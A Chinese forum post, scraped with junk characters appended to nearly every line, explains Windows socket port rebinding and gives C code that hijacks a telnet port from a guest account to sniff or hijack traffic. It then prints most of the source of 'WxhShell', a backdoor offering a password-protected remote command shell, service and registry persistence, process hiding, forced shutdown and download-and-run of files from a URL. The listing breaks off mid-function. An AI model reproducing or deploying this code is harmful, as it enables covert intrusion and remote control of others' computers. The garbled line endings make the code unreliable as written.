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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZI1]B944ni  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s I\-0og  
}wp/,\_ >  
  saddr.sin_family = AF_INET; }ssja,;  
}6.@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ua:@,};  
}.'rhR+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2ry@<88  
'oY#a9~Z{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0fvOA*UP  
S2\;\?]^~  
  这意味着什么?意味着可以进行如下的攻击: 5rbb ,*  
+XO\#$o>W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -n[(0n3c  
} )L z%Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7$g$p&,VX  
w1-P6cf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K,! V _  
Z- a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dj c-f  
vK+reXE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A-uIZ zC  
6| B9kh}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1,) yEeHjU  
8TAJ#Lm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZQfPDH=  
y9d"sqyh  
  #include `#l3a  
  #include *-Yw%uR  
  #include T_D] rMl  
  #include    .1;UEb|T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;>5`Y8s6  
  int main() MIr+4L  
  { M.s'~S7y  
  WORD wVersionRequested; 1d FuoX  
  DWORD ret; 8 I_  
  WSADATA wsaData; 3 1-p/  
  BOOL val; 9`N5$;NzY  
  SOCKADDR_IN saddr; `vOL3`P  
  SOCKADDR_IN scaddr; sfr+W-7kx  
  int err; M+VWAh#uD  
  SOCKET s; [yk-<}#B  
  SOCKET sc; F{a;=h#@Q  
  int caddsize; t>?tWSNf  
  HANDLE mt; *n EkbI/  
  DWORD tid;   x,U_x  
  wVersionRequested = MAKEWORD( 2, 2 ); P$k*!j_W  
  err = WSAStartup( wVersionRequested, &wsaData );  `ROHB@-  
  if ( err != 0 ) { n}A!aC  
  printf("error!WSAStartup failed!\n"); OrM1eP"I  
  return -1; 54z.@BJhE  
  } J@$~q}iG  
  saddr.sin_family = AF_INET; !*"fWahv  
   aif;h! ?y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /A-WI x  
: (X3?%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "EMW'>&m  
  saddr.sin_port = htons(23); T{3nIF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r*l3Hrho~K  
  { ^c.D&y%5  
  printf("error!socket failed!\n"); z dgS@g  
  return -1; 1] ~w?)..'  
  } +Z|3[#W  
  val = TRUE; u>:(MARsR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /o m++DxV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RhHm[aN  
  { U3V5Jo r#  
  printf("error!setsockopt failed!\n"); 1s.2z[B~  
  return -1; Px=@Tw N,  
  } 6^'BTd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -g2l-N{&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \_8wU' 7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xxu  
jO&*E 'pk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9ET1Er{4  
  { 3)W zX  
  ret=GetLastError(); h5@G eYda  
  printf("error!bind failed!\n"); gd*Gn"  
  return -1; b@;Wh-{d  
  } [TFJb+N&  
  listen(s,2); X^ Is-[OvE  
  while(1) V9v20iX  
  { XhM!pSl\  
  caddsize = sizeof(scaddr); TMj;NSc3  
  //接受连接请求 I!S Eb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?PT> V,&  
  if(sc!=INVALID_SOCKET) @ps(3~?7  
  { {jz`K1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bu]"?bc  
  if(mt==NULL) :HO5 T  
  { z2uL[deN'"  
  printf("Thread Creat Failed!\n"); Fa )QDBz)  
  break; *$<W"@%^J  
  } [^5;XD:%&l  
  } @9B*V~ <  
  CloseHandle(mt); \CMZ_%~wU  
  } A<X?1$  
  closesocket(s); )?$[iu7 s  
  WSACleanup(); D:_W;b)  
  return 0; c[,h|~K/_?  
  }   $QC1l@[sM  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;Y^'$I2fR#  
  { Zj_2>A  
  SOCKET ss = (SOCKET)lpParam; O1z]d3x  
  SOCKET sc; 'f-r 6'_ZX  
  unsigned char buf[4096]; 06S R74  
  SOCKADDR_IN saddr; ~Ba=nn8Cq  
  long num; W}CM;~*L  
  DWORD val; uX6yhaOp|  
  DWORD ret; x)~i`$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {p84fR1P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t R|dnC4U  
  saddr.sin_family = AF_INET; a]T:wUYG'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lhGJ/By- -  
  saddr.sin_port = htons(23); v4n< G-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vb (b3  
  { :u14_^  
  printf("error!socket failed!\n"); =:^aBN#  
  return -1; ?q:|vt  
  } 3=YpZ\l}  
  val = 100; __g k:a>oQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -r={P _E6  
  { X/,) KTo7  
  ret = GetLastError(); }4A] x`3  
  return -1; >[fu&r1  
  } *5%vU|9b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nF,F#V8l  
  { &<PIm  
  ret = GetLastError(); P]43FPb  
  return -1; V\;Xa0  
  } _B0(1(M<2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \wK&wRn)  
  { f"ndLX:'}  
  printf("error!socket connect failed!\n"); q!ZM Wg  
  closesocket(sc); o.{W_k/n  
  closesocket(ss); \Oeo"|  
  return -1; B.q/}\ ?(  
  } Ktq4b%{  
  while(1) hx:q@[ +J/  
  { Re,;$_6o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /;*_[g5*i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /4&gA5BS]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1!<t8,W4  
  num = recv(ss,buf,4096,0); @8|*Ndx2  
  if(num>0) s?w2^<P  
  send(sc,buf,num,0); 1xB}Ed*k  
  else if(num==0) [eX]x  
  break; rAH!%~  
  num = recv(sc,buf,4096,0); bhqSqU}6~  
  if(num>0) yQK{ +w  
  send(ss,buf,num,0); tVAi0`DV  
  else if(num==0) heVk CM :  
  break; "v8p<JfB`  
  } V?uT5.B2  
  closesocket(ss); @+gr/Pul^  
  closesocket(sc); J}#gTG( '  
  return 0 ; ?=? _32O  
  } >'*%wf[{  
6 c_#"4  
-s3`mc}*  
========================================================== qoO`)<  
4&}%GH>}  
下边附上一个代码,,WXhSHELL u 272)@R  
Bf ut mI  
========================================================== paqGW]  
*N">93:  
#include "stdafx.h" =;rLv7(a  
SqM>xm  
#include <stdio.h> 0q}i5%m7  
#include <string.h> Z0,jg)sA4  
#include <windows.h> mZ+!8$1X  
#include <winsock2.h> @ ^{`!>Vt  
#include <winsvc.h> Xs0)4U  
#include <urlmon.h> mUBy*.  
2q~ .,vpP  
#pragma comment (lib, "Ws2_32.lib") \SWTP1  
#pragma comment (lib, "urlmon.lib") *uc/| c  
|oY{TQ<<d  
#define MAX_USER   100 // 最大客户端连接数 azPH~' E'  
#define BUF_SOCK   200 // sock buffer  {^N,=m\  
#define KEY_BUFF   255 // 输入 buffer u8Ys2KLpL  
2n<Mu Q]  
#define REBOOT     0   // 重启 Qs&;MW4q  
#define SHUTDOWN   1   // 关机 'ygKP6M  
#Rw!a#CX.  
#define DEF_PORT   5000 // 监听端口 2u3Kyn  
K10G+'H^  
#define REG_LEN     16   // 注册表键长度 h `Lr5)B'  
#define SVC_LEN     80   // NT服务名长度 S!(3-{nC  
n' ~ ==2  
// 从dll定义API 7he73  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~gDYb#p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F.[%0b E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lL D#|T3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \V? .^/  
mY"7/dw<v  
// wxhshell配置信息 8A>OQR  
struct WSCFG { #l=yD]t PU  
  int ws_port;         // 监听端口 1djZ5`+  
  char ws_passstr[REG_LEN]; // 口令 6{h\CU}"  
  int ws_autoins;       // 安装标记, 1=yes 0=no /<rvaR  
  char ws_regname[REG_LEN]; // 注册表键名 {wqT$( (<  
  char ws_svcname[REG_LEN]; // 服务名 bb6x} jR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (GJtTp~2C4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _Mw3>GNl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OoB|Eh|),  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UB$}`39@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s<I)THC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IMf|/a9-  
qM\ 2f<)  
}; LV:L0D7y  
aU!}j'5Q  
// default Wxhshell configuration ;_<~9;  
struct WSCFG wscfg={DEF_PORT, ~KK} $iM  
    "xuhuanlingzhe", sxNf"C=-.  
    1, [D"6&  
    "Wxhshell", z|#*c5Y9w  
    "Wxhshell", ?P kJG ,~  
            "WxhShell Service", wC1pfXa  
    "Wrsky Windows CmdShell Service", _*mn4n=  
    "Please Input Your Password: ", P5Xp #pa  
  1, ^ja]e%w#  
  "http://www.wrsky.com/wxhshell.exe", z?byNd8  
  "Wxhshell.exe" ynI e4b  
    }; \c_g9Iqa  
cY?|RXNmZ  
// 消息定义模块 zMSwU]4I!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Mo4g2W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wm5&5F4:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "n%j2"TYJj  
char *msg_ws_ext="\n\rExit."; )N.3Q1g-  
char *msg_ws_end="\n\rQuit."; 0L}`fYf  
char *msg_ws_boot="\n\rReboot..."; .p[uIRd`  
char *msg_ws_poff="\n\rShutdown..."; UmR)L!QT8  
char *msg_ws_down="\n\rSave to "; 8zK#./0\  
'uu*DgEr  
char *msg_ws_err="\n\rErr!"; ]IuZT  
char *msg_ws_ok="\n\rOK!"; "~4V(  
5rsz2;#p  
char ExeFile[MAX_PATH]; ufXWK3~\  
int nUser = 0; "Bd-h|J  
HANDLE handles[MAX_USER]; E !kN h  
int OsIsNt; v "l).G?  
u?,>yf.;s  
SERVICE_STATUS       serviceStatus; X!KX4H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a\P:jgF  
+XWTu!  
// 函数声明 ?_eLrz4>L^  
int Install(void); FB6Lz5:Vf  
int Uninstall(void); <*5S7)]BP  
int DownloadFile(char *sURL, SOCKET wsh); w B)y@w4k  
int Boot(int flag); tA(oD4H9  
void HideProc(void); rJiF2W  
int GetOsVer(void); fG \" p  
int Wxhshell(SOCKET wsl); E@ea ?Sx  
void TalkWithClient(void *cs); #2]*qgA4  
int CmdShell(SOCKET sock); A/y|pg5  
int StartFromService(void); c=v016r\  
int StartWxhshell(LPSTR lpCmdLine); bxE~tsM"@Y  
aL(G0@(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j4XVk@'OX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ka_m Q<{9  
#9GfMxH  
// 数据结构和表定义 ?`RlYu  
SERVICE_TABLE_ENTRY DispatchTable[] = /pF8S!,z  
{ rN1]UaT  
{wscfg.ws_svcname, NTServiceMain}, ; hQ[-  
{NULL, NULL} j/t%7,  
}; 6u_i >z  
6,q0F*q  
// 自我安装 \&F4Wl>`  
int Install(void) +$C9@CZM9  
{ %R GZu\p  
  char svExeFile[MAX_PATH]; pA8bFtt  
  HKEY key; aE0R{yupZ  
  strcpy(svExeFile,ExeFile); %{ BV+&  
h1~h& F?  
// 如果是win9x系统,修改注册表设为自启动 S)hDsf.I  
if(!OsIsNt) { g4+K"Q /M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { An_(L*Qz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `:&RB4Z  
  RegCloseKey(key); N8 2 6xvA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lf"w/pb'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EjfQF C  
  RegCloseKey(key); EV6R[2kl  
  return 0; b ri[&=  
    } i*$+>3Q-  
  } &4OOW;,?<  
} 2/3yW.C  
else { >/-H!jUF]  
$}vk+.!*1  
// 如果是NT以上系统,安装为系统服务 tav@a)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q0xGd(\  
if (schSCManager!=0) ^_#wo"  
{ YeCnk:_ kg  
  SC_HANDLE schService = CreateService .u mqyU~  
  ( `R0~mx&6G  
  schSCManager, k<*v6 sNs;  
  wscfg.ws_svcname, JWHsTnB  
  wscfg.ws_svcdisp, #`y[75<n  
  SERVICE_ALL_ACCESS, e6p3!)@P1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 7bwYKIn  
  SERVICE_AUTO_START, faOiNR7;h  
  SERVICE_ERROR_NORMAL, dEYw_qJ2  
  svExeFile, 4D&L]eJ  
  NULL, H!Gw@u]E  
  NULL, ;MeY@* "{  
  NULL, g#(+:^3'  
  NULL, '/`O*KD]  
  NULL #~p;s>  
  ); cn}15JHdR  
  if (schService!=0) Q m*z  
  { 3>n&u,Xe  
  CloseServiceHandle(schService); xY?p(>(  
  CloseServiceHandle(schSCManager); 'jO2pH/%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'A|c\sy  
  strcat(svExeFile,wscfg.ws_svcname);  +C\79,r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e(wc [bv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (+gTIcc >  
  RegCloseKey(key); NrS+N;i  
  return 0; 4Pr^>m  
    } #_^ p~:  
  } wfO -bzdw  
  CloseServiceHandle(schSCManager); o|>=< l  
} ="]lN  
} |8E~C~d  
r.)n>  
return 1; yLf9cS6=  
} TeuZVy8a  
v 8F{qT50  
// 自我卸载 62nmm/c  
int Uninstall(void) Kz b-a$  
{ ,m*HRUY  
  HKEY key; 9+ Mj$  
MP}-7UA#K  
if(!OsIsNt) { P, ZQ*Ju  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oaha5aWH  
  RegDeleteValue(key,wscfg.ws_regname); >3&  
  RegCloseKey(key); (}F@0WYT^O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F3V:B.C  
  RegDeleteValue(key,wscfg.ws_regname);  }c||$  
  RegCloseKey(key); N5)H(<}  
  return 0; l\0PwD  
  } kKRu]0J~[  
} . AA# G  
} < e3] pM  
else { L [PqEN\i  
)'jGf;du  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B Hp>(7,  
if (schSCManager!=0) ] K&ca  
{ H.M: cD:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xY)eU;*  
  if (schService!=0) !.%*Tp#k#  
  { K"[jrvZ=  
  if(DeleteService(schService)!=0) { =W2.Nc  
  CloseServiceHandle(schService); #IGcQY  
  CloseServiceHandle(schSCManager); M &-p  
  return 0; K?M~x&Q  
  } :$VGqvO12W  
  CloseServiceHandle(schService); )J]NBE:8  
  } IZdWEbN1  
  CloseServiceHandle(schSCManager); ~*1Z1aZ  
} OqsuuE  
} Q`K^>L1  
-hfDf{QN  
return 1; wL3BgCxqDL  
} 7V^j9TC  
K8KN<Q s]  
// 从指定url下载文件 xK0;saG#  
int DownloadFile(char *sURL, SOCKET wsh) [Cd#<Te3  
{ RPMz&/k  
  HRESULT hr; Xgh%2 ;:  
char seps[]= "/"; .+Q1h61$T  
char *token; Q,9KLi3  
char *file; Uf_mwEE  
char myURL[MAX_PATH]; 7#"y mE  
char myFILE[MAX_PATH]; Z}zka<y6K6  
D]d! lMK/  
strcpy(myURL,sURL); B^M L}$  
  token=strtok(myURL,seps); p\I3fI0i  
  while(token!=NULL) U(+QrC:  
  { _ \+0e:Ae  
    file=token; ?mV2|;  
  token=strtok(NULL,seps); sMAH;'`!Eu  
  } \3(s&K\Y6\  
f dJg7r*  
GetCurrentDirectory(MAX_PATH,myFILE); LDw.2E  
strcat(myFILE, "\\"); zZ9Ei-Q  
strcat(myFILE, file); 2N-p97"g  
  send(wsh,myFILE,strlen(myFILE),0); k^JgCC+  
send(wsh,"...",3,0); .FYRi_Zd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h+d k2|a  
  if(hr==S_OK) )y!gApNs"  
return 0; 3bLOT#t  
else e7iQG@i7  
return 1; 6t <[-  
X,M!Tp  
} ~ D/Lo$K"  
}j6|+  
// 系统电源模块 L#D)[v"  
int Boot(int flag) =.J>'9Q  
{ -q)|I|y*7  
  HANDLE hToken; U3aM^  
  TOKEN_PRIVILEGES tkp; j^Qk\(^#IV  
/Re67cMQ*  
  if(OsIsNt) { _;x`6LM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V/\`:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l YdATM(h  
    tkp.PrivilegeCount = 1; 8% ; .H-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (.z0.0W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wko9tdC=U  
if(flag==REBOOT) { Z[RifqaBby  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pi;fu  
  return 0; 4ke.p<dG  
} .GYdC '  
else { \'w.<)(GI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w4^ $@GtN  
  return 0; ^eV  K.  
} }f{5-iwD}  
  } s)'+,lKw  
  else { "FE%k>aV@v  
if(flag==REBOOT) { f/kYm\Zc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #~rQ\A!4  
  return 0; ,o `tRh<  
} ,rY}IwM w  
else { HA$7Q~{N-t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $Zi {1w  
  return 0; >Ir?)h  
} (t"|XSF  
} Vw.4;Zy(  
FAGi`X<L  
return 1; &"1_n]JO  
} ls "Z4v(L6  
iF:NDqc  
// win9x进程隐藏模块 +5GC?cW  
void HideProc(void) +Z9ua%,3%  
{ ncsk(`lo  
0|\JbM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1?TgI0HS  
  if ( hKernel != NULL ) ,F'y:px  
  { ]RVme^=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )>rYp )  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  W"~"R  
    FreeLibrary(hKernel); z`J-J*R>d  
  } *rm[\  
|jWA >S  
return; &` "uKO]  
} =(<7o_gJ  
tQMz1$  
// 获取操作系统版本 A,#z_2~  
int GetOsVer(void) vMXn#eR  
{ 2{hG",JL  
  OSVERSIONINFO winfo; d)%l-jj9,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Me+)2S 9  
  GetVersionEx(&winfo); wC<FF2T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 85H*Xm?d#  
  return 1; zs-,Y@ZL  
  else cnDBT3$~Z  
  return 0; naY#`xig  
} nrTCq~LO(  
2Y}A9Veb  
// 客户端句柄模块 esv<b>`R  
int Wxhshell(SOCKET wsl) @a]`C $ 6  
{ "+&@iL  
  SOCKET wsh; _=qk.|p/  
  struct sockaddr_in client; nzB!0U  
  DWORD myID; ]#rmk!VT?  
ZI!;~q  
  while(nUser<MAX_USER) MLmk=&d  
{ Y=UN`vRR  
  int nSize=sizeof(client); kgX"I ?>d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /5XdZu6k`h  
  if(wsh==INVALID_SOCKET) return 1; ]V"B`ip[2  
U`4t4CHA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bo*Wm w  
if(handles[nUser]==0) p AtxEaXh  
  closesocket(wsh); p!(]`N   
else 2$ \#BG  
  nUser++; (jh0cy}|]  
  } cl'qw##  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \FIOFbwe  
T,4REbm^  
  return 0; Eo{js?1G_  
} j+3=&PkA.]  
aFy'6c}  
// 关闭 socket L<N=,~  
void CloseIt(SOCKET wsh) qS[nf>"  
{ OFlY"O S[  
closesocket(wsh); 'p,54<e  
nUser--; U$IB_a2  
ExitThread(0); T!H }^v  
}  [ "Jt2  
R M`iOV,Y  
// 客户端请求句柄 z`y^o*qc]  
void TalkWithClient(void *cs) 9C1\?)"D^e  
{ #$-`+P  
kAk+ Sq^n  
  SOCKET wsh=(SOCKET)cs; %y\  
  char pwd[SVC_LEN]; @yn1#E,  
  char cmd[KEY_BUFF]; :W1B"T<  
char chr[1]; Y X{F$BM  
int i,j; SfwNNX%  
k!wEPi]  
  while (nUser < MAX_USER) { i}LVBx"K(  
yUFT9bD  
if(wscfg.ws_passstr) { ;ywUl`d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :.f m LL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fUS1`  
  //ZeroMemory(pwd,KEY_BUFF); H_7EK  
      i=0; b(:U]>J  
  while(i<SVC_LEN) { |`ZW(} ~  
10e~Yc  
  // 设置超时 4#w Z#}  
  fd_set FdRead; .d%CD`8!  
  struct timeval TimeOut; QetyuhS~  
  FD_ZERO(&FdRead); X?OH//co  
  FD_SET(wsh,&FdRead); 8A2_4q@34  
  TimeOut.tv_sec=8; V82N8-l  
  TimeOut.tv_usec=0; </jTWc'}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 45tQ$jr`1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4xD`Z_U  
9g`o+U{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uBfSS\SX|  
  pwd=chr[0]; 7 y'2  
  if(chr[0]==0xd || chr[0]==0xa) { P jh3=Dr  
  pwd=0; OS$^>1f"  
  break; Fhk`qh'i  
  } v<t r1cUT  
  i++; vAjvW&'g  
    } ) i=.x+Q  
(od9adSehV  
  // 如果是非法用户,关闭 socket xv>]e <":  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MI\35~JAN  
} w>h\643  
gano>W0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^K'@W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U/9_:  
|kh7F0';"  
while(1) { k?;B1D8-n  
7FGi+  
  ZeroMemory(cmd,KEY_BUFF); 2*ByVK  
'nSo0cyQ  
      // 自动支持客户端 telnet标准   b,uu dtlH  
  j=0; I::|d,bR!  
  while(j<KEY_BUFF) { K:(E"d;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u@pimRVo  
  cmd[j]=chr[0]; $u P'>  
  if(chr[0]==0xa || chr[0]==0xd) { 85Red~-M  
  cmd[j]=0; ,v$Q:n|  
  break; r6gfxW5  
  } &ws^Dm]R  
  j++; LeaJ).Maw  
    } FDCc?>,o  
On-zbE  
  // 下载文件 X_aC$_b  
  if(strstr(cmd,"http://")) { 1V:I }~\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iqr/MB,W  
  if(DownloadFile(cmd,wsh)) omzG/)M:O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2 6`wt  
  else < wi9   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lgQ"K(zY  
  } chA7R'+LA  
  else { Xli$4 uL   
a|eHo%Qt  
    switch(cmd[0]) { VMIX=gTZ  
  7-#   
  // 帮助 p(Ux]_s%  
  case '?': { \45F;f_r6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fs\A(]`$  
    break; Lz{z~xNHW.  
  } h5<eU;Rw+  
  // 安装 cp$GP*{@  
  case 'i': { y ~n1S~5cI  
    if(Install()) {2F@OfuCF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LY;Fjb yU  
    else M>[e1y>7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +h08uo5c  
    break; {hFH6]TA  
    } L Q0e@5  
  // 卸载 OXJ'-EZH  
  case 'r': { ?W2u0N  
    if(Uninstall()) -nXlW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DS=$* Trk  
    else #MFIsx)r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LwYWgT\e  
    break; 3 3zE5vr  
    } F3[,6%4v  
  // 显示 wxhshell 所在路径 BU#3fPl  
  case 'p': { >L ')0<!&  
    char svExeFile[MAX_PATH]; _&%FGcAS  
    strcpy(svExeFile,"\n\r"); !<24Cy  
      strcat(svExeFile,ExeFile); cj9C6Y!  
        send(wsh,svExeFile,strlen(svExeFile),0); ~7an j.  
    break; 4Cv*zn  
    } ``%yVVg}  
  // 重启 1yVhO2`7]  
  case 'b': { v7 n@CWnN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IC?(F]$%>  
    if(Boot(REBOOT)) pH3<QNq5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *YSRZvD<\  
    else { jD${ZIv  
    closesocket(wsh); Ss%1{s~ok  
    ExitThread(0); AmC?qoEWQ7  
    } cPv(VjS1;  
    break; 9:P]{}  
    } z0OxJe  
  // 关机 hJsP;y:@Lm  
  case 'd': { w@<II-9L)<  
